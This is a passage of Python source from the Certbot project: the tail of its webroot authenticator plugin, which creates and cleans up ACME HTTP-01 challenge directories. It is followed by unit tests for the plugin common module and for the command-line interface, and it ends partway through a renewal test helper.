                "--webroot-path and --domains, or --webroot-map. Run with "
                " --help webroot for examples.")
        for name, path in path_map.items():
            self.full_roots[name] = os.path.join(path, challenges.HTTP01.URI_ROOT_PATH)

            logger.debug("Creating root challenges validation dir at %s",
                         self.full_roots[name])

            # Change the permissions to be writable (GH #1389)
            # Umask is used instead of chmod to ensure the client can also
            # run as non-root (GH #1795)
            old_umask = os.umask(0o022)

            try:
                # This is coupled with the "umask" call above because
                # os.makedirs's "mode" parameter may not always work:
                # https://stackoverflow.com/questions/5231901/permission-problems-when-creating-a-dir-with-os-makedirs-python
                os.makedirs(self.full_roots[name], 0o0755)

                # Set owner as parent directory if possible
                try:
                    stat_path = os.stat(path)
                    os.chown(self.full_roots[name], stat_path.st_uid,
                             stat_path.st_gid)
                except OSError as exception:
                    logger.info("Unable to change owner and uid of webroot directory")
                    logger.debug("Error was: %s", exception)

            except OSError as exception:
                if exception.errno != errno.EEXIST:
                    raise errors.PluginError(
                        "Couldn't create root for {0} http-01 "
                        "challenge responses: {1}", name, exception)
            finally:
                os.umask(old_umask)

    def _get_validation_path(self, root_path, achall):
        return os.path.join(root_path, achall.chall.encode("token"))

    def _perform_single(self, achall):
        response, validation = achall.response_and_validation()

        root_path = self.full_roots[achall.domain]
        validation_path = self._get_validation_path(root_path, achall)
        logger.debug("Attempting to save validation to %s", validation_path)

        # Change permissions to be world-readable, owner-writable (GH #1795)
        old_umask = os.umask(0o022)

        try:
            with open(validation_path, "wb") as validation_file:
                validation_file.write(validation.encode())
        finally:
            os.umask(old_umask)

        self.performed[root_path].add(achall)

        return response

    def cleanup(self, achalls):  # pylint: disable=missing-docstring
        for achall in achalls:
            root_path = self.full_roots.get(achall.domain, None)
            if root_path is not None:
                validation_path = self._get_validation_path(root_path, achall)
                logger.debug("Removing %s", validation_path)
                os.remove(validation_path)
                self.performed[root_path].remove(achall)

        for root_path, achalls in six.iteritems(self.performed):
            if not achalls:
                try:
                    os.rmdir(root_path)
                    logger.debug("All challenges cleaned up, removing %s",
                                 root_path)
                except OSError as exc:
                    logger.info(
                        "Unable to clean up challenge directory %s", root_path)
                    logger.debug("Error was: %s", exc)


class _WebrootMapAction(argparse.Action):
    """Action class for parsing webroot_map."""

    def __call__(self, parser, namespace, webroot_map, option_string=None):
        for domains, webroot_path in six.iteritems(json.loads(webroot_map)):
            webroot_path = _validate_webroot(webroot_path)
            namespace.webroot_map.update(
                (d, webroot_path) for d in cli.add_domains(namespace, domains))


class _WebrootPathAction(argparse.Action):
    """Action class for parsing webroot_path."""

    def __init__(self, *args, **kwargs):
        super(_WebrootPathAction, self).__init__(*args, **kwargs)
        self._domain_before_webroot = False

    def __call__(self, parser, namespace, webroot_path, option_string=None):
        if self._domain_before_webroot:
            raise errors.PluginError(
                "If you specify multiple webroot paths, "
                "one of them must precede all domain flags")

        if namespace.webroot_path:
            # Apply previous webroot to all matched
            # domains before setting the new webroot path
            prev_webroot = namespace.webroot_path[-1]
            for domain in namespace.domains:
                namespace.webroot_map.setdefault(domain, prev_webroot)
        elif namespace.domains:
            self._domain_before_webroot = True

        namespace.webroot_path.append(_validate_webroot(webroot_path))


def _validate_webroot(webroot_path):
    """Validates and returns the absolute path of webroot_path.

    :param str webroot_path: path to the webroot directory

    :returns: absolute path of webroot_path
    :rtype: str

    """
    if not os.path.isdir(webroot_path):
        raise errors.PluginError(webroot_path + " does not exist or is not a directory")

    return os.path.abspath(webroot_path)






"""Tests for certbot.plugins.common."""
import unittest

import mock
import OpenSSL

from acme import challenges
from acme import jose

from certbot import achallenges

from certbot.tests import acme_util
from certbot.tests import test_util


class NamespaceFunctionsTest(unittest.TestCase):
    """Tests for certbot.plugins.common.*_namespace functions."""

    def test_option_namespace(self):
        from certbot.plugins.common import option_namespace
        self.assertEqual("foo-", option_namespace("foo"))

    def test_dest_namespace(self):
        from certbot.plugins.common import dest_namespace
        self.assertEqual("foo_", dest_namespace("foo"))

    def test_dest_namespace_with_dashes(self):
        from certbot.plugins.common import dest_namespace
        self.assertEqual("foo_bar_", dest_namespace("foo-bar"))


class PluginTest(unittest.TestCase):
    """Test for certbot.plugins.common.Plugin."""

    def setUp(self):
        from certbot.plugins.common import Plugin

        class MockPlugin(Plugin):  # pylint: disable=missing-docstring
            @classmethod
            def add_parser_arguments(cls, add):
                add("foo-bar", dest="different_to_foo_bar", x=1, y=None)

        self.plugin_cls = MockPlugin
        self.config = mock.MagicMock()
        self.plugin = MockPlugin(config=self.config, name="mock")

    def test_init(self):
        self.assertEqual("mock", self.plugin.name)
        self.assertEqual(self.config, self.plugin.config)

    def test_option_namespace(self):
        self.assertEqual("mock-", self.plugin.option_namespace)

    def test_option_name(self):
        self.assertEqual("mock-foo_bar", self.plugin.option_name("foo_bar"))

    def test_dest_namespace(self):
        self.assertEqual("mock_", self.plugin.dest_namespace)

    def test_dest(self):
        self.assertEqual("mock_foo_bar", self.plugin.dest("foo-bar"))
        self.assertEqual("mock_foo_bar", self.plugin.dest("foo_bar"))

    def test_conf(self):
        self.assertEqual(self.config.mock_foo_bar, self.plugin.conf("foo-bar"))

    def test_inject_parser_options(self):
        parser = mock.MagicMock()
        self.plugin_cls.inject_parser_options(parser, "mock")
        # note that inject_parser_options doesn't check if dest has
        # correct prefix
        parser.add_argument.assert_called_once_with(
            "--mock-foo-bar", dest="different_to_foo_bar", x=1, y=None)


class AddrTest(unittest.TestCase):
    """Tests for certbot.client.plugins.common.Addr."""

    def setUp(self):
        from certbot.plugins.common import Addr
        self.addr1 = Addr.fromstring("192.168.1.1")
        self.addr2 = Addr.fromstring("192.168.1.1:*")
        self.addr3 = Addr.fromstring("192.168.1.1:80")
        self.addr4 = Addr.fromstring("[fe00::1]")
        self.addr5 = Addr.fromstring("[fe00::1]:*")
        self.addr6 = Addr.fromstring("[fe00::1]:80")
        self.addr7 = Addr.fromstring("[fe00::1]:5")
        self.addr8 = Addr.fromstring("[fe00:1:2:3:4:5:6:7:8:9]:8080")

    def test_fromstring(self):
        self.assertEqual(self.addr1.get_addr(), "192.168.1.1")
        self.assertEqual(self.addr1.get_port(), "")
        self.assertEqual(self.addr2.get_addr(), "192.168.1.1")
        self.assertEqual(self.addr2.get_port(), "*")
        self.assertEqual(self.addr3.get_addr(), "192.168.1.1")
        self.assertEqual(self.addr3.get_port(), "80")
        self.assertEqual(self.addr4.get_addr(), "[fe00::1]")
        self.assertEqual(self.addr4.get_port(), "")
        self.assertEqual(self.addr5.get_addr(), "[fe00::1]")
        self.assertEqual(self.addr5.get_port(), "*")
        self.assertEqual(self.addr6.get_addr(), "[fe00::1]")
        self.assertEqual(self.addr6.get_port(), "80")
        self.assertEqual(self.addr6.get_ipv6_exploded(),
                         "fe00:0:0:0:0:0:0:1")
        self.assertEqual(self.addr1.get_ipv6_exploded(),
                         "")
        self.assertEqual(self.addr7.get_port(), "5")
        self.assertEqual(self.addr8.get_ipv6_exploded(),
                         "fe00:1:2:3:4:5:6:7")

    def test_str(self):
        self.assertEqual(str(self.addr1), "192.168.1.1")
        self.assertEqual(str(self.addr2), "192.168.1.1:*")
        self.assertEqual(str(self.addr3), "192.168.1.1:80")
        self.assertEqual(str(self.addr4), "[fe00::1]")
        self.assertEqual(str(self.addr5), "[fe00::1]:*")
        self.assertEqual(str(self.addr6), "[fe00::1]:80")

    def test_get_addr_obj(self):
        self.assertEqual(str(self.addr1.get_addr_obj("443")), "192.168.1.1:443")
        self.assertEqual(str(self.addr2.get_addr_obj("")), "192.168.1.1")
        self.assertEqual(str(self.addr1.get_addr_obj("*")), "192.168.1.1:*")
        self.assertEqual(str(self.addr4.get_addr_obj("443")), "[fe00::1]:443")
        self.assertEqual(str(self.addr5.get_addr_obj("")), "[fe00::1]")
        self.assertEqual(str(self.addr4.get_addr_obj("*")), "[fe00::1]:*")

    def test_eq(self):
        self.assertEqual(self.addr1, self.addr2.get_addr_obj(""))
        self.assertNotEqual(self.addr1, self.addr2)
        self.assertFalse(self.addr1 == 3333)

        self.assertEqual(self.addr4, self.addr4.get_addr_obj(""))
        self.assertNotEqual(self.addr4, self.addr5)
        self.assertFalse(self.addr4 == 3333)
        from certbot.plugins.common import Addr
        self.assertEqual(self.addr4, Addr.fromstring("[fe00:0:0::1]"))
        self.assertEqual(self.addr4, Addr.fromstring("[fe00:0::0:0:1]"))


    def test_set_inclusion(self):
        from certbot.plugins.common import Addr
        set_a = set([self.addr1, self.addr2])
        addr1b = Addr.fromstring("192.168.1.1")
        addr2b = Addr.fromstring("192.168.1.1:*")
        set_b = set([addr1b, addr2b])

        self.assertEqual(set_a, set_b)

        set_c = set([self.addr4, self.addr5])
        addr4b = Addr.fromstring("[fe00::1]")
        addr5b = Addr.fromstring("[fe00::1]:*")
        set_d = set([addr4b, addr5b])

        self.assertEqual(set_c, set_d)


class TLSSNI01Test(unittest.TestCase):
    """Tests for certbot.plugins.common.TLSSNI01."""

    auth_key = jose.JWKRSA.load(test_util.load_vector("rsa512_key.pem"))
    achalls = [
        achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=acme_util.chall_to_challb(
                challenges.TLSSNI01(token=b'token1'), "pending"),
            domain="encryption-example.demo", account_key=auth_key),
        achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=acme_util.chall_to_challb(
                challenges.TLSSNI01(token=b'token2'), "pending"),
            domain="certbot.demo", account_key=auth_key),
    ]

    def setUp(self):
        from certbot.plugins.common import TLSSNI01
        self.sni = TLSSNI01(configurator=mock.MagicMock())

    def test_add_chall(self):
        self.sni.add_chall(self.achalls[0], 0)
        self.assertEqual(1, len(self.sni.achalls))
        self.assertEqual([0], self.sni.indices)

    def test_setup_challenge_cert(self):
        # This is a helper function that can be used for handling
        # open context managers more elegantly. It avoids dealing with
        # __enter__ and __exit__ calls.
        # http://www.voidspace.org.uk/python/mock/helpers.html#mock.mock_open
        mock_open, mock_safe_open = mock.mock_open(), mock.mock_open()

        response = challenges.TLSSNI01Response()
        achall = mock.MagicMock()
        key = test_util.load_pyopenssl_private_key("rsa512_key.pem")
        achall.response_and_validation.return_value = (
            response, (test_util.load_cert("cert.pem"), key))

        with mock.patch("certbot.plugins.common.open",
                        mock_open, create=True):
            with mock.patch("certbot.plugins.common.util.safe_open",
                            mock_safe_open):
                # pylint: disable=protected-access
                self.assertEqual(response, self.sni._setup_challenge_cert(
                    achall, "randomS1"))

        # pylint: disable=no-member
        mock_open.assert_called_once_with(self.sni.get_cert_path(achall), "wb")
        mock_open.return_value.write.assert_called_once_with(
            test_util.load_vector("cert.pem"))
        mock_safe_open.assert_called_once_with(
            self.sni.get_key_path(achall), "wb", chmod=0o400)
        mock_safe_open.return_value.write.assert_called_once_with(
            OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, key))


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot.cli."""
from __future__ import print_function

import argparse
import dialog
import functools
import itertools
import os
import shutil
import traceback
import tempfile
import unittest

import mock
import six
from six.moves import reload_module  # pylint: disable=import-error

from acme import jose

from certbot import account
from certbot import cli
from certbot import configuration
from certbot import constants
from certbot import crypto_util
from certbot import errors
from certbot import util
from certbot import main
from certbot import renewal
from certbot import storage

from certbot.plugins import disco
from certbot.plugins import manual

from certbot.tests import storage_test
from certbot.tests import test_util


CERT = test_util.vector_path('cert.pem')
CSR = test_util.vector_path('csr.der')
KEY = test_util.vector_path('rsa256_key.pem')


class CLITest(unittest.TestCase):  # pylint: disable=too-many-public-methods
    """Tests for different commands."""

    def setUp(self):
        self.tmp_dir = tempfile.mkdtemp()
        self.config_dir = os.path.join(self.tmp_dir, 'config')
        self.work_dir = os.path.join(self.tmp_dir, 'work')
        self.logs_dir = os.path.join(self.tmp_dir, 'logs')
        self.standard_args = ['--config-dir', self.config_dir,
                              '--work-dir', self.work_dir,
                              '--logs-dir', self.logs_dir, '--text']

    def tearDown(self):
        shutil.rmtree(self.tmp_dir)
        # Reset globals in cli
        # pylint: disable=protected-access
        cli._parser = cli.set_by_cli.detector = None

    def _call(self, args, stdout=None):
        "Run the cli with output streams and actual client mocked out"
        with mock.patch('certbot.main.client') as client:
            ret, stdout, stderr = self._call_no_clientmock(args, stdout)
            return ret, stdout, stderr, client

    def _call_no_clientmock(self, args, stdout=None):
        "Run the client with output streams mocked out"
        args = self.standard_args + args

        toy_stdout = stdout if stdout else six.StringIO()
        with mock.patch('certbot.main.sys.stdout', new=toy_stdout):
            with mock.patch('certbot.main.sys.stderr') as stderr:
                ret = main.main(args[:])  # NOTE: parser can alter its args!
        return ret, toy_stdout, stderr

    def test_no_flags(self):
        with mock.patch('certbot.main.run') as mock_run:
            self._call([])
            self.assertEqual(1, mock_run.call_count)

    def _help_output(self, args):
        "Run a command, and return the ouput string for scrutiny"

        output = six.StringIO()
        self.assertRaises(SystemExit, self._call, args, output)
        out = output.getvalue()
        return out

    def test_help(self):
        self.assertRaises(SystemExit, self._call, ['--help'])
        self.assertRaises(SystemExit, self._call, ['--help', 'all'])
        plugins = disco.PluginsRegistry.find_all()
        out = self._help_output(['--help', 'all'])
        self.assertTrue("--configurator" in out)
        self.assertTrue("how a cert is deployed" in out)
        self.assertTrue("--manual-test-mode" in out)

        out = self._help_output(['-h', 'nginx'])
        if "nginx" in plugins:
            # may be false while building distributions without plugins
            self.assertTrue("--nginx-ctl" in out)
        self.assertTrue("--manual-test-mode" not in out)
        self.assertTrue("--checkpoints" not in out)

        out = self._help_output(['-h'])
        self.assertTrue("letsencrypt-auto" not in out) # test cli.cli_command
        if "nginx" in plugins:
            self.assertTrue("Use the Nginx plugin" in out)
        else:
            self.assertTrue("(nginx support is experimental" in out)

        out = self._help_output(['--help', 'plugins'])
        self.assertTrue("--manual-test-mode" not in out)
        self.assertTrue("--prepare" in out)
        self.assertTrue('"plugins" subcommand' in out)

        # test multiple topics
        out = self._help_output(['-h', 'renew'])
        self.assertTrue("--keep" in out)
        out = self._help_output(['-h', 'automation'])
        self.assertTrue("--keep" in out)
        out = self._help_output(['-h', 'revoke'])
        self.assertTrue("--keep" not in out)

        out = self._help_output(['--help', 'install'])
        self.assertTrue("--cert-path" in out)
        self.assertTrue("--key-path" in out)

        out = self._help_output(['--help', 'revoke'])
        self.assertTrue("--cert-path" in out)
        self.assertTrue("--key-path" in out)

        out = self._help_output(['-h', 'config_changes'])
        self.assertTrue("--cert-path" not in out)
        self.assertTrue("--key-path" not in out)

        out = self._help_output(['-h'])
        self.assertTrue(cli.usage_strings(plugins)[0] in out)

    def _cli_missing_flag(self, args, message):
        "Ensure that a particular error raises a missing cli flag error containing message"
        exc = None
        try:
            with mock.patch('certbot.main.sys.stderr'):
                main.main(self.standard_args + args[:])  # NOTE: parser can alter its args!
        except errors.MissingCommandlineFlag as exc_:
            exc = exc_
            self.assertTrue(message in str(exc))
        self.assertTrue(exc is not None)

    def test_noninteractive(self):
        args = ['-n', 'certonly']
        self._cli_missing_flag(args, "specify a plugin")
        args.extend(['--standalone', '-d', 'eg.is'])
        self._cli_missing_flag(args, "register before running")
        with mock.patch('certbot.main._auth_from_domains'):
            with mock.patch('certbot.main.client.acme_from_config_key'):
                args.extend(['--email', 'io@io.is'])
                self._cli_missing_flag(args, "--agree-tos")

    @mock.patch('certbot.main.renew')
    def test_gui(self, renew):
        args = ['renew', '--dialog']
        # --text conflicts with --dialog
        self.standard_args.remove('--text')
        self._call(args)
        self.assertFalse(renew.call_args[0][0].noninteractive_mode)

    @mock.patch('certbot.main.client.acme_client.Client')
    @mock.patch('certbot.main._determine_account')
    @mock.patch('certbot.main.client.Client.obtain_and_enroll_certificate')
    @mock.patch('certbot.main._auth_from_domains')
    def test_user_agent(self, afd, _obt, det, _client):
        # Normally the client is totally mocked out, but here we need more
        # arguments to automate it...
        args = ["--standalone", "certonly", "-m", "none@none.com",
                "-d", "example.com", '--agree-tos'] + self.standard_args
        det.return_value = mock.MagicMock(), None
        afd.return_value = mock.MagicMock(), "newcert"

        with mock.patch('certbot.main.client.acme_client.ClientNetwork') as acme_net:
            self._call_no_clientmock(args)
            os_ver = util.get_os_info_ua()
            ua = acme_net.call_args[1]["user_agent"]
            self.assertTrue(os_ver in ua)
            import platform
            plat = platform.platform()
            if "linux" in plat.lower():
                self.assertTrue(util.get_os_info_ua() in ua)

        with mock.patch('certbot.main.client.acme_client.ClientNetwork') as acme_net:
            ua = "bandersnatch"
            args += ["--user-agent", ua]
            self._call_no_clientmock(args)
            acme_net.assert_called_once_with(mock.ANY, verify_ssl=True, user_agent=ua)

    def test_install_abspath(self):
        cert = 'cert'
        key = 'key'
        chain = 'chain'
        fullchain = 'fullchain'

        with mock.patch('certbot.main.install') as mock_install:
            self._call(['install', '--cert-path', cert, '--key-path', 'key',
                        '--chain-path', 'chain',
                        '--fullchain-path', 'fullchain'])

        args = mock_install.call_args[0][0]
        self.assertEqual(args.cert_path, os.path.abspath(cert))
        self.assertEqual(args.key_path, os.path.abspath(key))
        self.assertEqual(args.chain_path, os.path.abspath(chain))
        self.assertEqual(args.fullchain_path, os.path.abspath(fullchain))

    @mock.patch('certbot.main.plug_sel.record_chosen_plugins')
    @mock.patch('certbot.main.plug_sel.pick_installer')
    def test_installer_selection(self, mock_pick_installer, _rec):
        self._call(['install', '--domains', 'foo.bar', '--cert-path', 'cert',
                    '--key-path', 'key', '--chain-path', 'chain'])
        self.assertEqual(mock_pick_installer.call_count, 1)

    @mock.patch('certbot.util.exe_exists')
    def test_configurator_selection(self, mock_exe_exists):
        mock_exe_exists.return_value = True
        real_plugins = disco.PluginsRegistry.find_all()
        args = ['--apache', '--authenticator', 'standalone']

        # This needed two calls to find_all(), which we're avoiding for now
        # because of possible side effects:
        # https://github.com/letsencrypt/letsencrypt/commit/51ed2b681f87b1eb29088dd48718a54f401e4855
        #with mock.patch('certbot.cli.plugins_testable') as plugins:
        #    plugins.return_value = {"apache": True, "nginx": True}
        #    ret, _, _, _ = self._call(args)
        #    self.assertTrue("Too many flags setting" in ret)

        args = ["install", "--nginx", "--cert-path", "/tmp/blah", "--key-path", "/tmp/blah",
                "--nginx-server-root", "/nonexistent/thing", "-d",
                "example.com", "--debug"]
        if "nginx" in real_plugins:
            # Sending nginx a non-existent conf dir will simulate misconfiguration
            # (we can only do that if certbot-nginx is actually present)
            ret, _, _, _ = self._call(args)
            self.assertTrue("The nginx plugin is not working" in ret)
            self.assertTrue("MisconfigurationError" in ret)

        self._cli_missing_flag(["--standalone"], "With the standalone plugin, you probably")

        with mock.patch("certbot.main._init_le_client") as mock_init:
            with mock.patch("certbot.main._auth_from_domains") as mock_afd:
                mock_afd.return_value = (mock.MagicMock(), mock.MagicMock())
                self._call(["certonly", "--manual", "-d", "foo.bar"])
                unused_config, auth, unused_installer = mock_init.call_args[0]
                self.assertTrue(isinstance(auth, manual.Authenticator))

        with mock.patch('certbot.main.obtain_cert') as mock_certonly:
            self._call(["auth", "--standalone"])
            self.assertEqual(1, mock_certonly.call_count)

    def test_rollback(self):
        _, _, _, client = self._call(['rollback'])
        self.assertEqual(1, client.rollback.call_count)

        _, _, _, client = self._call(['rollback', '--checkpoints', '123'])
        client.rollback.assert_called_once_with(
            mock.ANY, 123, mock.ANY, mock.ANY)

    def test_config_changes(self):
        _, _, _, client = self._call(['config_changes'])
        self.assertEqual(1, client.view_config_changes.call_count)

    def test_plugins(self):
        flags = ['--init', '--prepare', '--authenticators', '--installers']
        for args in itertools.chain(
                *(itertools.combinations(flags, r)
                  for r in six.moves.range(len(flags)))):
            self._call(['plugins'] + list(args))

    @mock.patch('certbot.main.plugins_disco')
    @mock.patch('certbot.main.cli.HelpfulArgumentParser.determine_help_topics')
    def test_plugins_no_args(self, _det, mock_disco):
        ifaces = []
        plugins = mock_disco.PluginsRegistry.find_all()

        _, stdout, _, _ = self._call(['plugins'])
        plugins.visible.assert_called_once_with()
        plugins.visible().ifaces.assert_called_once_with(ifaces)
        filtered = plugins.visible().ifaces()
        self.assertEqual(stdout.getvalue().strip(), str(filtered))

    @mock.patch('certbot.main.plugins_disco')
    @mock.patch('certbot.main.cli.HelpfulArgumentParser.determine_help_topics')
    def test_plugins_init(self, _det, mock_disco):
        ifaces = []
        plugins = mock_disco.PluginsRegistry.find_all()

        _, stdout, _, _ = self._call(['plugins', '--init'])
        plugins.visible.assert_called_once_with()
        plugins.visible().ifaces.assert_called_once_with(ifaces)
        filtered = plugins.visible().ifaces()
        self.assertEqual(filtered.init.call_count, 1)
        filtered.verify.assert_called_once_with(ifaces)
        verified = filtered.verify()
        self.assertEqual(stdout.getvalue().strip(), str(verified))

    @mock.patch('certbot.main.plugins_disco')
    @mock.patch('certbot.main.cli.HelpfulArgumentParser.determine_help_topics')
    def test_plugins_prepare(self, _det, mock_disco):
        ifaces = []
        plugins = mock_disco.PluginsRegistry.find_all()
        _, stdout, _, _ = self._call(['plugins', '--init', '--prepare'])
        plugins.visible.assert_called_once_with()
        plugins.visible().ifaces.assert_called_once_with(ifaces)
        filtered = plugins.visible().ifaces()
        self.assertEqual(filtered.init.call_count, 1)
        filtered.verify.assert_called_once_with(ifaces)
        verified = filtered.verify()
        verified.prepare.assert_called_once_with()
        verified.available.assert_called_once_with()
        available = verified.available()
        self.assertEqual(stdout.getvalue().strip(), str(available))

    def test_certonly_abspath(self):
        cert = 'cert'
        key = 'key'
        chain = 'chain'
        fullchain = 'fullchain'

        with mock.patch('certbot.main.obtain_cert') as mock_obtaincert:
            self._call(['certonly', '--cert-path', cert, '--key-path', 'key',
                        '--chain-path', 'chain',
                        '--fullchain-path', 'fullchain'])

        config, unused_plugins = mock_obtaincert.call_args[0]
        self.assertEqual(config.cert_path, os.path.abspath(cert))
        self.assertEqual(config.key_path, os.path.abspath(key))
        self.assertEqual(config.chain_path, os.path.abspath(chain))
        self.assertEqual(config.fullchain_path, os.path.abspath(fullchain))

    def test_certonly_bad_args(self):
        try:
            self._call(['-a', 'bad_auth', 'certonly'])
            assert False, "Exception should have been raised"
        except errors.PluginSelectionError as e:
            self.assertTrue('The requested bad_auth plugin does not appear' in str(e))

    def test_check_config_sanity_domain(self):
        # Punycode
        self.assertRaises(errors.ConfigurationError,
                          self._call,
                          ['-d', 'this.is.xn--ls8h.tld'])
        # FQDN
        self.assertRaises(errors.ConfigurationError,
                          self._call,
                          ['-d', 'a' * 64])
        # FQDN 2
        self.assertRaises(errors.ConfigurationError,
                          self._call,
                          ['-d', (('a' * 50) + '.') * 10])
        # Wildcard
        self.assertRaises(errors.ConfigurationError,
                          self._call,
                          ['-d', '*.wildcard.tld'])

        # Bare IP address (this is actually a different error message now)
        self.assertRaises(errors.ConfigurationError,
                          self._call,
                          ['-d', '204.11.231.35'])

    def test_csr_with_besteffort(self):
        self.assertRaises(
            errors.Error, self._call,
            'certonly --csr {0} --allow-subset-of-names'.format(CSR).split())

    def test_run_with_csr(self):
        # This is an error because you can only use --csr with certonly
        try:
            self._call(['--csr', CSR])
        except errors.Error as e:
            assert "Please try the certonly" in repr(e)
            return
        assert False, "Expected supplying --csr to fail with default verb"

    def test_csr_with_no_domains(self):
        self.assertRaises(
            errors.Error, self._call,
            'certonly --csr {0}'.format(
                test_util.vector_path('csr-nonames.pem')).split())

    def test_csr_with_inconsistent_domains(self):
        self.assertRaises(
            errors.Error, self._call,
            'certonly -d example.org --csr {0}'.format(CSR).split())

    def _get_argument_parser(self):
        plugins = disco.PluginsRegistry.find_all()
        return functools.partial(cli.prepare_and_parse_args, plugins)

    def test_parse_domains(self):
        parse = self._get_argument_parser()

        short_args = ['-d', 'example.com']
        namespace = parse(short_args)
        self.assertEqual(namespace.domains, ['example.com'])

        short_args = ['-d', 'trailing.period.com.']
        namespace = parse(short_args)
        self.assertEqual(namespace.domains, ['trailing.period.com'])

        short_args = ['-d', 'example.com,another.net,third.org,example.com']
        namespace = parse(short_args)
        self.assertEqual(namespace.domains, ['example.com', 'another.net',
                                             'third.org'])

        long_args = ['--domains', 'example.com']
        namespace = parse(long_args)
        self.assertEqual(namespace.domains, ['example.com'])

        long_args = ['--domains', 'trailing.period.com.']
        namespace = parse(long_args)
        self.assertEqual(namespace.domains, ['trailing.period.com'])

        long_args = ['--domains', 'example.com,another.net,example.com']
        namespace = parse(long_args)
        self.assertEqual(namespace.domains, ['example.com', 'another.net'])

    def test_server_flag(self):
        parse = self._get_argument_parser()
        namespace = parse('--server example.com'.split())
        self.assertEqual(namespace.server, 'example.com')

    def _check_server_conflict_message(self, parser_args, conflicting_args):
        parse = self._get_argument_parser()
        try:
            parse(parser_args)
            self.fail(  # pragma: no cover
                "The following flags didn't conflict with "
                '--server: {0}'.format(', '.join(conflicting_args)))
        except errors.Error as error:
            self.assertTrue('--server' in str(error))
            for arg in conflicting_args:
                self.assertTrue(arg in str(error))

    def test_must_staple_flag(self):
        parse = self._get_argument_parser()
        short_args = ['--must-staple']
        namespace = parse(short_args)
        self.assertTrue(namespace.must_staple)
        self.assertTrue(namespace.staple)

    def test_staging_flag(self):
        parse = self._get_argument_parser()
        short_args = ['--staging']
        namespace = parse(short_args)
        self.assertTrue(namespace.staging)
        self.assertEqual(namespace.server, constants.STAGING_URI)

        short_args += '--server example.com'.split()
        self._check_server_conflict_message(short_args, '--staging')

    def test_option_was_set(self):
        key_size_option = 'rsa_key_size'
        key_size_value = cli.flag_default(key_size_option)
        self._get_argument_parser()(
            '--rsa-key-size {0}'.format(key_size_value).split())

        self.assertTrue(cli.option_was_set(key_size_option, key_size_value))
        self.assertTrue(cli.option_was_set('no_verify_ssl', True))

        config_dir_option = 'config_dir'
        self.assertFalse(cli.option_was_set(
            config_dir_option, cli.flag_default(config_dir_option)))

    def _assert_dry_run_flag_worked(self, namespace, existing_account):
        self.assertTrue(namespace.dry_run)
        self.assertTrue(namespace.break_my_certs)
        self.assertTrue(namespace.staging)
        self.assertEqual(namespace.server, constants.STAGING_URI)

        if existing_account:
            self.assertTrue(namespace.tos)
            self.assertTrue(namespace.register_unsafely_without_email)
        else:
            self.assertFalse(namespace.tos)
            self.assertFalse(namespace.register_unsafely_without_email)

    def test_dry_run_flag(self):
        parse = self._get_argument_parser()
        config_dir = tempfile.mkdtemp()
        short_args = '--dry-run --config-dir {0}'.format(config_dir).split()
        self.assertRaises(errors.Error, parse, short_args)

        self._assert_dry_run_flag_worked(
            parse(short_args + ['auth']), False)
        self._assert_dry_run_flag_worked(
            parse(short_args + ['certonly']), False)
        self._assert_dry_run_flag_worked(
            parse(short_args + ['renew']), False)

        account_dir = os.path.join(config_dir, constants.ACCOUNTS_DIR)
        os.mkdir(account_dir)
        os.mkdir(os.path.join(account_dir, 'fake_account_dir'))

        self._assert_dry_run_flag_worked(parse(short_args + ['auth']), True)
        self._assert_dry_run_flag_worked(parse(short_args + ['renew']), True)
        short_args += ['certonly']
        self._assert_dry_run_flag_worked(parse(short_args), True)

        short_args += '--server example.com'.split()
        conflicts = ['--dry-run']
        self._check_server_conflict_message(short_args, '--dry-run')

        short_args += ['--staging']
        conflicts += ['--staging']
        self._check_server_conflict_message(short_args, conflicts)

    def _certonly_new_request_common(self, mock_client, args=None):
        with mock.patch('certbot.main._treat_as_renewal') as mock_renewal:
            mock_renewal.return_value = ("newcert", None)
            with mock.patch('certbot.main._init_le_client') as mock_init:
                mock_init.return_value = mock_client
                if args is None:
                    args = []
                args += '-d foo.bar -a standalone certonly'.split()
                self._call(args)

    @mock.patch('certbot.main.zope.component.getUtility')
    def test_certonly_dry_run_new_request_success(self, mock_get_utility):
        mock_client = mock.MagicMock()
        mock_client.obtain_and_enroll_certificate.return_value = None
        self._certonly_new_request_common(mock_client, ['--dry-run'])
        self.assertEqual(
            mock_client.obtain_and_enroll_certificate.call_count, 1)
        self.assertTrue(
            'dry run' in mock_get_utility().add_message.call_args[0][0])
        # Asserts we don't suggest donating after a successful dry run
        self.assertEqual(mock_get_utility().add_message.call_count, 1)

    @mock.patch('certbot.crypto_util.notAfter')
    @mock.patch('certbot.main.zope.component.getUtility')
    def test_certonly_new_request_success(self, mock_get_utility, mock_notAfter):
        cert_path = '/etc/letsencrypt/live/foo.bar'
        date = '1970-01-01'
        mock_notAfter().date.return_value = date

        mock_lineage = mock.MagicMock(cert=cert_path, fullchain=cert_path)
        mock_client = mock.MagicMock()
        mock_client.obtain_and_enroll_certificate.return_value = mock_lineage
        self._certonly_new_request_common(mock_client)
        self.assertEqual(
            mock_client.obtain_and_enroll_certificate.call_count, 1)
        cert_msg = mock_get_utility().add_message.call_args_list[0][0][0]
        self.assertTrue(cert_path in cert_msg)
        self.assertTrue(date in cert_msg)
        self.assertTrue(
            'donate' in mock_get_utility().add_message.call_args[0][0])

    def test_certonly_new_request_failure(self):
        mock_client = mock.MagicMock()
        mock_client.obtain_and_enroll_certificate.return_value = False
        self.assertRaises(errors.Error,
                          self._certonly_new_request_common, mock_client)

    def _test_renewal_common(self, due_for_renewal, extra_args, log_out=None,
                             args=None, should_renew=True, error_expected=False):
        # pylint: disable=too-many-locals,too-many-arguments
        cert_path = 'certbot/tests/testdata/cert.pem'
        chain_path = '/etc/letsencrypt/live/foo.bar/fullchain.pem'
        mock_lineage = mock.MagicMock(cert=cert_path, fullchain=chain_path)
        mock_lineage.should_autorenew.return_value = due_for_renewal
        mock_certr = mock.MagicMock()
        mock_key = mock.MagicMock(pem='pem_key')
        mock_client = mock.MagicMock()
        stdout = None
        mock_client.obtain_certificate.return_value = (mock_certr, 'chain',
                                                       mock_key, 'csr')
        try:
            with mock.patch('certbot.main._find_duplicative_certs') as mock_fdc:
                mock_fdc.return_value = (mock_lineage, None)
                with mock.patch('certbot.main._init_le_client') as mock_init:
                    mock_init.return_value = mock_client
                    get_utility_path = 'certbot.main.zope.component.getUtility'
                    with mock.patch(get_utility_path) as mock_get_utility:
